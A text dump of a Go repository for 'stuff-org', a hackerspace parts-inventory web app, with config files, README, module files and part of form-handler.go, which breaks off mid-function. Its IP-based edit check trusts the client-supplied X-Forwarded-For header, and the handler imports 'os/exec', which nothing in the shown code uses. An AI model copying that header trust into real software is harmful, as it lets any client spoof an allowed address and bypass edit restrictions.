├── .gitignore ├── .golangci.yml ├── Dockerfile ├── Makefile ├── README.md ├── db ├── README.md ├── initial-db.dump └── sqlite-file.db ├── go.mod ├── go.sum ├── img ├── page-resistor.png ├── page-search.png ├── placeholder.jpg └── stuff-mobile.jpg ├── shell.nix ├── stuff ├── .goreleaser.yml ├── Makefile ├── form-handler.go ├── form-handler_test.go ├── image-handler.go ├── main.go ├── resistor-image.go ├── resistor-image_test.go ├── search-handler.go ├── search.go ├── search_test.go ├── sitemap-handler.go ├── static │ ├── edit-pen.png │ ├── empty-box.png │ ├── fallback.png │ ├── manifest.json │ ├── mystery.png │ ├── non-edit-pen.png │ ├── robots.txt │ ├── stuff-192.png │ ├── stuff-512.png │ ├── stuff-icon.png │ ├── stuff.css │ └── white.png ├── status-handler.go ├── stuff-store-interface.go ├── stuff-store-sqlite.go ├── stuff-store-sqlite_test.go ├── template-renderer.go └── template │ ├── component │ ├── 4-Band_Resistor.svg │ ├── 5-Band_Resistor.svg │ ├── README │ ├── category-Capacitor.svg │ ├── category-Diode.svg │ ├── category-LED.svg │ ├── package-DIP-14.svg │ ├── package-DIP-16.svg │ ├── package-DIP-28.svg │ ├── package-DIP-40.svg │ ├── package-DIP-6.svg │ ├── package-DIP-8.svg │ ├── package-TO-220.svg │ ├── package-TO-3.svg │ ├── package-TO-39.svg │ └── package-TO-99.svg │ ├── display-template.html │ ├── form-template.html │ ├── search-result.html │ ├── set-drag-drop.html │ └── status-table.html └── utils ├── README.md ├── image-cut ├── Makefile └── image-cut.go └── take-pictures.sh /.gitignore: -------------------------------------------------------------------------------- 1 | stuff/dist 2 | stuff/stuff 3 | stuff/stuff-database.db 4 | bin 5 | .envrc 6 | -------------------------------------------------------------------------------- /.golangci.yml: -------------------------------------------------------------------------------- 1 | --- 2 | run: 3 | deadline: 2m 4 | 5 | issues: 6 | max-same-issues: 0 7 | exclude-rules: 8 | - path: _test.go 9 | linters: 10 | - errcheck 11 | 12 | 13 | linters-settings: 14 | errcheck: 15 | exclude-functions: 16 | # This are used in HTTP handlers, any error is handled by the server itself. 17 | - (net/http.ResponseWriter).Write 18 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | ARG ARCH="amd64" 2 | ARG OS="linux" 3 | FROM quay.io/prometheus/busybox-${OS}-${ARCH}:latest 4 | 5 | ADD stuff /bin/stuff 6 | 7 | EXPOSE 9199 8 | USER nobody 9 | ENTRYPOINT ["/bin/stuff"] 10 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | GO ?= go 2 | 3 | .PHONY: update-go-deps 4 | update-go-deps: 5 | @echo ">> updating Go dependencies" 6 | @for m in $$($(GO) list -mod=readonly -m -f '{{ if and (not .Indirect) (not .Main)}}{{.Path}}{{end}}' all); do \ 7 | $(GO) get $$m; \ 8 | done 9 | $(GO) mod tidy 10 | 11 | lint: 12 | golangci-lint run 13 | 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Keeping track of stuff 2 | ---------------------- 3 | 4 | [![CI action](https://github.com/surefootedbow/stuff-org/workflows/CI/badge.svg)](https://github.com/surefootedbow/stuff-org/actions) 5 | 6 | Mostly to organize electronic components at home and at hackerspace. Store 7 | details in a database and make them findable with a pleasing fast search. 8 | 9 | We use it at Noisebridge: https://parts.noisebridge.net/ 10 | 11 | If this is the first time you are using go, you might need to set up 12 | the `GOPATH` environment variable; please refer to golang documentation. 13 | 14 | Uses SQLite to keep data in one file, so you need this external go dependency 15 | 16 | ``` 17 | go get github.com/mattn/go-sqlite3 18 | ``` 19 | 20 | For users with Go version < 1.7 This go-sqlite3 dependency uses 'context' which 21 | was built into go after golang v1.7. So, if you are using Go version < 1.7 (say 22 | on a raspberry pi or beaglebone black), then install the go context package, 23 | and you will need to modify something something in the go-sqlite3 and install the external packages 24 | 25 | ``` 26 | go get x/net/context package 27 | ``` 28 | 29 | Other than that, no external dependencies are needed. 30 | 31 | To run the app navigate to the [stuff/](./stuff) directory and run: 32 | ``` 33 | make stuff 34 | ./stuff 35 | ``` 36 | 37 | You can then open it at http://localhost:2000/ to start adding stuff to 38 | your database. 39 | 40 | These are the available options for the binary 41 | ``` 42 | Usage of ./stuff: 43 | -cache-templates 44 | Cache templates. False for online editing while development. (default true) 45 | -cleanup-db 46 | Cleanup run of database 47 | -dbfile string 48 | SQLite database file (default "stuff-database.db") 49 | -edit-permission-nets string 50 | Comma separated list of networks (CIDR format IP-Addr/network) that are allowed to edit content 51 | -imagedir string 52 | Directory with component images (default "img-srv") 53 | -logfile string 54 | Logfile to write interesting events 55 | -bind-address string 56 | Port to serve from (default ":2000") 57 | -site-name string 58 | Site-name, in particular needed for SSL 59 | -ssl-cert string 60 | Cert file 61 | -ssl-key string 62 | Key file 63 | -staticdir string 64 | Directory with static resources (default "static") 65 | -templatedir string 66 | Base-Directory with templates (default "./template") 67 | -want-timings 68 | Print processing timings. 69 | ``` 70 | 71 | There is a demo database in the [db/](./db) directory (which really 72 | is just a backup of the Noisebridge database). So you can play around by 73 | copying `db/sqlite-file.db` to `stuff-database.db` and play right away. 74 | 75 | Let's try this: 76 | ``` 77 | cp ../db/sqlite-file.db stuff-database.db 78 | ./stuff -dbfile stuff-database.db 79 | ``` 80 | 81 | There are no images in this repository for demo; for your set-up, you can 82 | take pictures of your components and drop in some directory. If there is 83 | no image, some are generated from the type of component (e.g. capacitor or 84 | diode), and some color-coding image even generated from the value of a 85 | resistor. 86 | 87 | To show your own component images, you need to point the `-imagedir` flag 88 | to a directory that has images with name `.jpg`. 89 | So for bin 42, this would be `42.jpg`. 90 | 91 | By default, you can edit database from any IP address, but 92 | with `-edit-permission-nets`, you can give an IP address range that is allowed 93 | to edit, while others only see a read-only view. The readonly view also has 94 | the nice property that it is concise and looks good on mobile devices. 95 | 96 | If you give it a key and cert PEM via the `--ssl-key` and `--ssl-cert` options, 97 | this will start an HTTPS server (which also understands HTTP/2.0). 98 | 99 | ### Features 100 | (work in progress of course) 101 | 102 | - Enter form to enter details found in boxes with a given ID. Assumes that 103 | all your items are labelled with a unique number. 104 | - Search form with search-as-you-type in an legitimate use of JSON ui :) 105 | - Automatic synonym search (e.g. query for `.1u` is automatically re-written to `(.1u | 100n)`) 106 | - Boolean expressions in search terms. 107 | - A search API returning JSON results to be queried from other 108 | applications. 109 | - A way to display component pictures (and soon: upload). Also automatically 110 | generates some drawing if there is a template for the package name, or if 111 | it is a resistor, auto-generates an image with resistor color bands. 112 | - Drag'n drop arrangement of similar components that should 113 | be in the same drawer. We have a large amount of different donations that 114 | all have overlapping set of parts. This helps organize these. 115 | - An extremely simple 'authentication' by IP address. By default, within the 116 | Hackerspace, the items are editable, while externally, a readonly view is 117 | presented (this will soon be augmented with OAuth, so that we can authenticate 118 | via a login of our wiki). 119 | 120 | Search | Detail Page with resistor | Mobile view 121 | ---------------------------|-------------------------------|-------------- 122 | ![](img/page-search.png) |![](img/page-resistor.png) | ![](img/stuff-mobile.jpg) 123 | 124 | ## API 125 | 126 | Next to a web-UI, this provides as well a search, status, and item information API with JSON response 127 | to be integrated in other apps, e.g. slack 128 | 129 | API Endpoint | Required Query | Optional Queries 130 | -------------|----------------------------|-------------------- 131 | /api/search | q (search query) | count (default 100) 132 | /api/status | offset (beginning item ID) | limit (default 100) 133 | /api/info | id (ID of item) | (none) 134 | 135 | ### Sample query 136 | ``` 137 | https://parts.noisebridge.net/api/search?q=fet 138 | ``` 139 | 140 | Optional URL-parameter `count=42` to limit the number of results (default: 100). 141 | 142 | ### Sample response 143 | ```json 144 | { 145 | "link": "/search#fet", 146 | "components": [ 147 | { 148 | "id": 42, 149 | "equiv_set": 42, 150 | "value": "BUK9Y16-60E", 151 | "category": "Mosfet", 152 | "description": "Mosfet N-channel, 60V, 53A, 12.1mOhm\nSOT669", 153 | "quantity": "25", 154 | "notes": "", 155 | "datasheet_url": "http://www.nxp.com/documents/data_sheet/BUK9Y15-60E.pdf", 156 | "footprint": "LFPAK56", 157 | "img": "/img/42" 158 | }, 159 | { 160 | "id": 76, 161 | "equiv_set": 76, 162 | "value": "BUK9Y4R4-40E", 163 | "category": "Mosfet", 164 | "description": "N-Channel MOSFET, 40V, 4.4mOhm@5V, 3.7mOhm@10V", 165 | "quantity": "4", 166 | "notes": "", 167 | "datasheet_url": "http://www.nxp.com/documents/data_sheet/BUK9Y4R4-40E.pdf", 168 | "footprint": "LFPAK56", 169 | "img": "/img/76" 170 | } 171 | ] 172 | } 173 | ``` 174 | 175 | ### Sample status query 176 | ``` 177 | https://parts.noisebridge.net/api/status?offset=0&limit=3 178 | ``` 179 | 180 | ### Sample status response 181 | ```json 182 | { 183 | "link": "/status?offset=0&limit=3", 184 | "offset": 0, 185 | "limit": 3, 186 | "status": [ 187 | { 188 | "number": 0, 189 | "status": "mystery", 190 | "haspicture": false 191 | }, 192 | { 193 | "number": 1, 194 | "status": "good", 195 | "haspicture": false 196 | }, 197 | { 198 | "number": 2, 199 | "status": "good", 200 | "haspicture": false 201 | } 202 | ] 203 | } 204 | ``` 205 | 206 | ### Sample item query 207 | ``` 208 | https://parts.noisebridge.net/api/info?id=1 209 | ``` 210 | 211 | ### Sample item response 212 | ```json 213 | { 214 | "available": true, 215 | "item": { 216 | "id": 1, 217 | "equiv_set": 1, 218 | "value": "120", 219 | "category": "Resistor", 220 | "description": "", 221 | "quantity": "20", 222 | "img": "/img/1" 223 | } 224 | } 225 | ``` 226 | 227 | ### Note 228 | 229 | Beware, these are also my early experiments with golang and it only uses basic 230 | functionality that comes with the stock library: HTTP server and templates. 231 | It doesn't use a web framework of any kind, only what comes with the 232 | golang libraries. And it might not necessarily be pretty as I am learning. 233 | 234 | HTML, CSS and JavaScript is hand-written and not generated - I want to keep it 235 | that way as long as possible to get a feeling of what would need to be done for 236 | a web framework (but be aware that my last exposure to HTML was around 1997, 237 | before there was CSS and working JavaScript ... so if you find something that 238 | should be stylistically better, let me know). 239 | 240 | When the HTML output is not burried under various layers of abstractions it is 241 | also easier to understand what parts in web-browsers are slow 242 | and address them directly. So no dependency on golang web-frameworks or JQuery 243 | of stuff like that. Less dependencies are good. 244 | -------------------------------------------------------------------------------- /db/README.md: -------------------------------------------------------------------------------- 1 | Note, schema is now created directly in the code (see [dbbackend.go](../stuff/dbbackend.go)) 2 | 3 | # Content 4 | The content collected here is merely a backup of our organization effort at Noisebridge, but 5 | feel free to use it to play around (you are missing product shot images though, so things might 6 | look a bit boring). 7 | 8 | # Manual poking in the database 9 | I suggest to use the excellent henplus JDBC commandline 10 | utility ( https://github.com/neurolabs/henplus ) 11 | 12 | The [database dump](./initial-db.dump) found here is a database vendor independent dump that 13 | can be handled with henplus. 14 | 15 | Get a jdbc driver at https://bitbucket.org/xerial/sqlite-jdbc/downloads and copy it in a 16 | `stuff-org/.henplus/lib` directory in the project-root (that you have to create). 17 | 18 | ``` 19 | henplus -J jdbc:sqlite:sqlite-file.db 20 | ``` 21 | 22 | (use `dump-in` to read the dump (type `help dump-in` on the HenPlus shell). 23 | 24 | The sqlite-file.db is a SQLite binary database file with the same content already dumped in 25 | for convenience. 26 | You can use it with the application by passing it in with the `--db-file` flag. 27 | -------------------------------------------------------------------------------- /db/sqlite-file.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/db/sqlite-file.db -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/surefootedbow/stuff-org 2 | 3 | go 1.20 4 | 5 | require ( 6 | github.com/mattn/go-sqlite3 v1.14.23 7 | github.com/prometheus/client_golang v1.20.4 8 | ) 9 | 10 | require ( 11 | github.com/beorn7/perks v1.0.1 // indirect 12 | github.com/cespare/xxhash/v2 v2.3.0 // indirect 13 | github.com/klauspost/compress v1.17.9 // indirect 14 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect 15 | github.com/prometheus/client_model v0.6.1 // indirect 16 | github.com/prometheus/common v0.55.0 // indirect 17 | github.com/prometheus/procfs v0.15.1 // indirect 18 | golang.org/x/sys v0.22.0 // indirect 19 | google.golang.org/protobuf v1.34.2 // indirect 20 | ) 21 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= 2 | github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= 3 | github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= 4 | github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= 5 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= 6 | github.com/klauspost/compress v1.17.9 h1:6KIumPrER1LHsvBVuDa0r5xaG0Es51mhhB9BQB2qeMA= 7 | github.com/klauspost/compress v1.17.9/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw= 8 | github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= 9 | github.com/mattn/go-sqlite3 v1.14.23 h1:gbShiuAP1W5j9UOksQ06aiiqPMxYecovVGwmTxWtuw0= 10 | github.com/mattn/go-sqlite3 v1.14.23/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y= 11 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= 12 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= 13 | github.com/prometheus/client_golang v1.20.4 h1:Tgh3Yr67PaOv/uTqloMsCEdeuFTatm5zIq5+qNN23vI= 14 | github.com/prometheus/client_golang v1.20.4/go.mod h1:PIEt8X02hGcP8JWbeHyeZ53Y/jReSnHgO035n//V5WE= 15 | github.com/prometheus/client_model v0.6.1 h1:ZKSh/rekM+n3CeS952MLRAdFwIKqeY8b62p8ais2e9E= 16 | github.com/prometheus/client_model v0.6.1/go.mod h1:OrxVMOVHjw3lKMa8+x6HeMGkHMQyHDk9E3jmP2AmGiY= 17 | github.com/prometheus/common v0.55.0 h1:KEi6DK7lXW/m7Ig5i47x0vRzuBsHuvJdi5ee6Y3G1dc= 18 | github.com/prometheus/common v0.55.0/go.mod h1:2SECS4xJG1kd8XF9IcM1gMX6510RAEL65zxzNImwdc8= 19 | github.com/prometheus/procfs v0.15.1 h1:YagwOFzUgYfKKHX6Dr+sHT7km/hxC76UB0learggepc= 20 | github.com/prometheus/procfs v0.15.1/go.mod h1:fB45yRUv8NstnjriLhBQLuOUt+WW4BsoGhij/e3PBqk= 21 | golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI= 22 | golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 23 | google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg= 24 | google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw= 25 | -------------------------------------------------------------------------------- /img/page-resistor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/img/page-resistor.png -------------------------------------------------------------------------------- /img/page-search.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/img/page-search.png -------------------------------------------------------------------------------- /img/placeholder.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/img/placeholder.jpg -------------------------------------------------------------------------------- /img/stuff-mobile.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/img/stuff-mobile.jpg -------------------------------------------------------------------------------- /shell.nix: -------------------------------------------------------------------------------- 1 | # This is a nix-shell for use with the nix package manager. 2 | # If you have nix installed, you may simply run `nix-shell` 3 | # in this repo, and have all dependencies ready in the new shell. 4 | 5 | { pkgs ? import {} }: 6 | pkgs.mkShell { 7 | buildInputs = with pkgs; 8 | [ 9 | go 10 | golangci-lint 11 | 12 | # For take pictures utility script 13 | feh 14 | dialog 15 | gphoto2 16 | ]; 17 | } 18 | -------------------------------------------------------------------------------- /stuff/.goreleaser.yml: -------------------------------------------------------------------------------- 1 | project_name: stuff-org 2 | before: 3 | hooks: 4 | # You may remove this if you don't use go modules. 5 | - go mod download 6 | builds: 7 | - binary: stuff 8 | goarch: 9 | - amd64 10 | - arm 11 | - arm64 12 | goarm: 13 | - 6 14 | - 7 15 | goos: 16 | - darwin 17 | - freebsd 18 | - linux 19 | - windows 20 | archives: 21 | - files: 22 | - static/**/* 23 | - template/**/* 24 | format_overrides: 25 | - goos: windows 26 | format: zip 27 | wrap_in_directory: true 28 | checksum: 29 | name_template: 'checksums.txt' 30 | # TODO: Setup Docker in CircleCI. 31 | # dockers: 32 | # - image_templates: 33 | # - "{{ .Env.CI_REGISTRY_IMAGE }}:latest" 34 | # - "{{ .Env.CI_REGISTRY_IMAGE }}:{{ .Tag }}" 35 | snapshot: 36 | name_template: "{{ .Tag }}-{{ .ShortCommit }}" 37 | changelog: 38 | sort: asc 39 | filters: 40 | exclude: 41 | - '^docs:' 42 | - '^test:' 43 | -------------------------------------------------------------------------------- /stuff/Makefile: -------------------------------------------------------------------------------- 1 | # This is mostly for convenience, we don't use any of the dependency 2 | # features of 'make' 3 | ## 4 | 5 | GO ?= go 6 | GOFMT ?= $(GO)fmt 7 | 8 | all : stuff test 9 | 10 | stuff: *.go 11 | go build 12 | 13 | test: 14 | go test 15 | 16 | clean: 17 | rm -f stuff 18 | 19 | style: 20 | @echo ">> checking code style" 21 | @fmtRes=$$($(GOFMT) -d $$(find . -path ./vendor -prune -o -name '*.go' -print)); \ 22 | if [ -n "$${fmtRes}" ]; then \ 23 | echo "gofmt checking failed!"; echo "$${fmtRes}"; echo; \ 24 | echo "Please ensure you are using $$($(GO) version) for formatting code."; \ 25 | exit 1; \ 26 | fi 27 | -------------------------------------------------------------------------------- /stuff/form-handler.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os/exec" 5 | "compress/gzip" 6 | "encoding/json" 7 | "fmt" 8 | "io" 9 | "math" 10 | "net" 11 | "net/http" 12 | "regexp" 13 | "strconv" 14 | "strings" 15 | "time" 16 | ) 17 | 18 | const ( 19 | kFormPage = "/form" 20 | kSetApi = "/api/related-set" 21 | kInfoApi = "/api/info" 22 | ) 23 | 24 | // Some useful pre-defined set of categories 25 | var available_category []string = []string{ 26 | "Resistor", "Potentiometer", "R-Network", 27 | "Capacitor (C)", "Aluminum Cap", "Inductor (L)", 28 | "Diode (D)", "Power Diode", "LED", 29 | "Transistor", "Mosfet", "IGBT", 30 | "Integrated Circuit (IC)", "IC Analog", "IC Digital", 31 | "Connector", "Socket", "Switch", 32 | "Fuse", "Mounting", "Heat Sink", 33 | "Microphone", "Transformer", "? MYSTERY", 34 | } 35 | 36 | type FormHandler struct { 37 | store StuffStore 38 | template *TemplateRenderer 39 | imgPath string 40 | editNets []*net.IPNet // IP Networks that are allowed to edit 41 | } 42 | 43 | func AddFormHandler(store StuffStore, template *TemplateRenderer, imgPath string, editNets []*net.IPNet) { 44 | handler := &FormHandler{ 45 | store: store, 46 | template: template, 47 | imgPath: imgPath, 48 | editNets: editNets, 49 | } 50 | http.Handle(kFormPage, handler) 51 | http.Handle(kSetApi, handler) 52 | http.Handle(kInfoApi, handler) 53 | } 54 | 55 | func (h *FormHandler) ServeHTTP(out http.ResponseWriter, req *http.Request) { 56 | switch { 57 | case strings.HasPrefix(req.URL.Path, kSetApi): 58 | h.relatedComponentSetOperations(out, req) 59 | case strings.HasPrefix(req.URL.Path, kInfoApi): 60 | h.apiInfo(out, req) 61 | default: 62 | h.entryFormHandler(out, req) 63 | } 64 | } 65 | 66 | // First, very crude version of radio button selecions 67 | type Selection struct { 68 | Value string 69 | IsSelected bool 70 | AddSeparator bool 71 | } 72 | type FormPage struct { 73 | Component // All these values are shown in the form 74 | PageTitle string 75 | ImageUrl string 76 | DatasheetLinkText string // Abbreviated link for display 77 | 78 | DescriptionRows int // Number of rows displayed in textarea 79 | NotesRows int 80 | 81 | // Category choice. 82 | CatChoice []Selection 83 | CatFallback Selection 84 | CategoryText string 85 | 86 | // Status around current item; link to relevant group. 87 | HundredGroup int 88 | Status []StatusItem 89 | 90 | // Additional stuff 91 | Msg string // Feedback for user 92 | PrevId int // For browsing 93 | NextId int 94 | 95 | FormEditable bool 96 | ShowEditToggle bool 97 | } 98 | 99 | // We need another type to indicate availability of an item 100 | // but it uses aggregation with an existing type 101 | type JsonInfoComponent struct { 102 | Available bool `json:"available"` 103 | Item JsonComponent `json:"item"` 104 | } 105 | 106 | // -- TODO: For cleanup, we need some kind of category-aware plugin structure. 107 | 108 | func cleanupResistor(c *Component) { 109 | optional_ppm, _ := regexp.Compile(`(?i)[,;]\s*(\d+\s*ppm)`) 110 | if match := optional_ppm.FindStringSubmatch(c.Value); match != nil { 111 | c.Description = strings.ToLower(match[1]) + "; " + c.Description 112 | c.Value = optional_ppm.ReplaceAllString(c.Value, "") 113 | } 114 | 115 | // Move percent into description. 116 | optional_percent, _ := regexp.Compile(`[,;]\s*((\+/-\s*)?(0?\.)?\d+\%)`) 117 | if match := optional_percent.FindStringSubmatch(c.Value); match != nil { 118 | c.Description = match[1] + "; " + c.Description 119 | c.Value = optional_percent.ReplaceAllString(c.Value, "") 120 | } 121 | 122 | optional_watt, _ := regexp.Compile(`(?i)[,;]\s*((((\d*\.)?\d+)|(\d+/\d+))\s*W(att)?)`) 123 | if match := optional_watt.FindStringSubmatch(c.Value); match != nil { 124 | c.Description = match[1] + "; " + c.Description 125 | c.Value = optional_watt.ReplaceAllString(c.Value, "") 126 | } 127 | 128 | // Get rid of Ohm 129 | optional_ohm, _ := regexp.Compile(`(?i)\s*ohm`) 130 | c.Value = optional_ohm.ReplaceAllString(c.Value, "") 131 | 132 | // Upper-case kilo at end or with spaces before are replaced 133 | // with simple 'k'. 134 | spaced_upper_kilo, _ := regexp.Compile(`(?i)\s*k$`) 135 | c.Value = spaced_upper_kilo.ReplaceAllString(c.Value, "k") 136 | 137 | c.Description = cleanString(c.Description) 138 | c.Value = cleanString(c.Value) 139 | } 140 | 141 | func cleanupFootprint(c *Component) { 142 | c.Footprint = cleanString(c.Footprint) 143 | 144 | to_package, _ := regexp.Compile(`(?i)^to-?(\d+)`) 145 | c.Footprint = to_package.ReplaceAllString(c.Footprint, "TO-$1") 146 | 147 | // For sip/dip packages: canonicalize to _p_ and end and move digits to end. 148 | sdip_package, _ := regexp.Compile(`(?i)^((\d+)[ -]?)?p?([sd])i[lp][ -]?(\d+)?`) 149 | if match := sdip_package.FindStringSubmatch(c.Footprint); match != nil { 150 | c.Footprint = sdip_package.ReplaceAllStringFunc(c.Footprint, 151 | func(string) string { 152 | return strings.ToUpper(match[3] + "IP-" + match[2] + match[4]) 153 | }) 154 | } 155 | } 156 | 157 | func createLinkTextFromUrl(u string) string { 158 | if len(u) < 30 { 159 | return u 160 | } 161 | shortenurl, _ := regexp.Compile("(.*://)([^/]+)/(.*)([/?&].*)$") 162 | return shortenurl.ReplaceAllString(u, "$2/…$4") 163 | } 164 | 165 | // Format a float value with single digit precision, but remove unneccessary .0 166 | // (mmh, this looks like there should be some standard formatting modifier that 167 | // does exactly that. 168 | func fmtFloatNoZero(f float64) string { 169 | result := fmt.Sprintf("%.1f", f) 170 | if strings.HasSuffix(result, ".0") { 171 | return result[:len(result)-2] // remove trailing zero 172 | } else { 173 | return result 174 | } 175 | } 176 | 177 | func makeCapacitanceString(farad float64) string { 178 | switch { 179 | case farad < 1000e-12: 180 | return fmtFloatNoZero(farad*1e12) + "pF" 181 | case farad < 1000e-9: 182 | return fmtFloatNoZero(farad*1e9) + "nF" 183 | default: 184 | return fmtFloatNoZero(farad*1e6) + "uF" 185 | } 186 | } 187 | 188 | func translateCapacitorToleranceLetter(letter string) string { 189 | switch strings.ToLower(letter) { 190 | case "d": 191 | return "+/- 0.5pF" 192 | case "f": 193 | return "+/- 1%" 194 | case "g": 195 | return "+/- 2%" 196 | case "h": 197 | return "+/- 3%" 198 | case "j": 199 | return "+/- 5%" 200 | case "k": 201 | return "+/- 10%" 202 | case "m": 203 | return "+/- 20%" 204 | case "p": 205 | return "+100%,-0%" 206 | case "z": 207 | return "+80%,-20%" 208 | } 209 | return "" 210 | } 211 | 212 | func cleanupCapacitor(component *Component) { 213 | farad_value, _ := regexp.Compile(`(?i)^((\d*.)?\d+)\s*([uµnp])F(.*)$`) 214 | three_digit, _ := regexp.Compile(`(?i)^(\d\d)(\d)\s*([dfghjkmpz])?$`) 215 | if match := farad_value.FindStringSubmatch(component.Value); match != nil { 216 | number_digits := match[1] 217 | factor_character := match[3] 218 | trailing := cleanString(match[4]) 219 | // Sometimes, values are written as strange multiples, 220 | // e.g. 100nF is sometimes written as 0.1uF. Normalize here. 221 | factor := 1e-6 222 | switch factor_character { 223 | case "u", "U", "µ": 224 | factor = 1e-6 225 | case "n", "N": 226 | factor = 1e-9 227 | case "p", "P": 228 | factor = 1e-12 229 | } 230 | val, err := strconv.ParseFloat(number_digits, 32) 231 | if err != nil || val < 0 { 232 | return // Strange value. Don't touch. 233 | } 234 | component.Value = makeCapacitanceString(val * factor) 235 | if len(trailing) > 0 { 236 | if len(component.Description) > 0 { 237 | component.Description = trailing + "; " + component.Description 238 | } else { 239 | component.Description = trailing 240 | } 241 | } 242 | } else if match := three_digit.FindStringSubmatch(component.Value); match != nil { 243 | value, _ := strconv.ParseFloat(match[1], 32) 244 | magnitude, _ := strconv.ParseFloat(match[2], 32) 245 | tolerance_letter := match[3] 246 | if magnitude < 0 || magnitude > 6 { 247 | return 248 | } 249 | multiplier := math.Exp(magnitude*math.Log(10)) * 1e-12 250 | component.Value = makeCapacitanceString(value * multiplier) 251 | tolerance := translateCapacitorToleranceLetter(tolerance_letter) 252 | if len(tolerance) > 0 { 253 | if len(component.Description) > 0 { 254 | component.Description = tolerance + "; " + component.Description 255 | } else { 256 | component.Description = tolerance 257 | } 258 | } 259 | } 260 | } 261 | 262 | func cleanString(input string) string { 263 | result := strings.TrimSpace(input) 264 | return strings.Replace(result, "\r\n", "\n", -1) 265 | } 266 | 267 | func cleanupComponent(component *Component) { 268 | component.Value = cleanString(component.Value) 269 | component.Category = cleanString(component.Category) 270 | component.Description = cleanString(component.Description) 271 | component.Quantity = cleanString(component.Quantity) 272 | component.Notes = cleanString(component.Notes) 273 | component.Datasheet_url = cleanString(component.Datasheet_url) 274 | cleanupFootprint(component) 275 | 276 | // We should have pluggable cleanup modules per category. For 277 | // now just a quick hack. 278 | switch component.Category { 279 | case "Resistor": 280 | cleanupResistor(component) 281 | case "Capacitor (C)", "Aluminum Cap": 282 | cleanupCapacitor(component) 283 | } 284 | } 285 | 286 | // If this particular request is allowed to edit. Can depend on IP address, 287 | // cookies etc. 288 | func (h *FormHandler) EditAllowed(r *http.Request) bool { 289 | if len(h.editNets) == 0 { 290 | return true // No restrictions. 291 | } 292 | addr, _, err := net.SplitHostPort(r.RemoteAddr) 293 | if err != nil { 294 | return false 295 | } 296 | if h := r.Header["X-Forwarded-For"]; h != nil { 297 | addr = h[0] 298 | } 299 | var ip net.IP 300 | if ip = net.ParseIP(addr); ip == nil { 301 | return false 302 | } 303 | for i := 0; i < len(h.editNets); i++ { 304 | if h.editNets[i].Contains(ip) { 305 | return true 306 | } 307 | } 308 | return false 309 | } 310 | 311 | func max(a, b int) int { 312 | if a > b { 313 | return a 314 | } else { 315 | return b 316 | } 317 | } 318 | 319 | func (h *FormHandler) entryFormHandler(w http.ResponseWriter, r *http.Request) { 320 | // Look at the request and see what we need to display, 321 | // and if we have to store something. 322 | 323 | // Store-ID is a hidden field and only set if the form 324 | // is submitted. 325 | edit_id, _ := strconv.Atoi(r.FormValue("edit_id")) 326 | var next_id int 327 | if r.FormValue("nav_id_button") != "" { 328 | // Use the navigation buttons to choose next ID. 329 | next_id, _ = strconv.Atoi(r.FormValue("nav_id_button")) 330 | } else if r.FormValue("id") != r.FormValue("edit_id") { 331 | // The ID field was edited. Use that as the next ID the 332 | // user wants to jump to. 333 | next_id, _ = strconv.Atoi(r.FormValue("id")) 334 | } else if edit_id > 0 { 335 | // Regular submit. Jump to next 336 | next_id = edit_id + 1 337 | } else if cookie, err := r.Cookie("last-edit"); err == nil { 338 | // Last straw: what we remember from last edit. 339 | next_id, _ = strconv.Atoi(cookie.Value) 340 | } 341 | 342 | requestStore := r.FormValue("edit_id") != "" 343 | msg := "" 344 | edit_allowed := h.EditAllowed(r) 345 | 346 | defer ElapsedPrint("Form action", time.Now()) 347 | 348 | if requestStore && edit_allowed { 349 | drawersize, _ := strconv.Atoi(r.FormValue("drawersize")) 350 | fromForm := Component{ 351 | Id: edit_id, 352 | Value: r.FormValue("value"), 353 | Description: 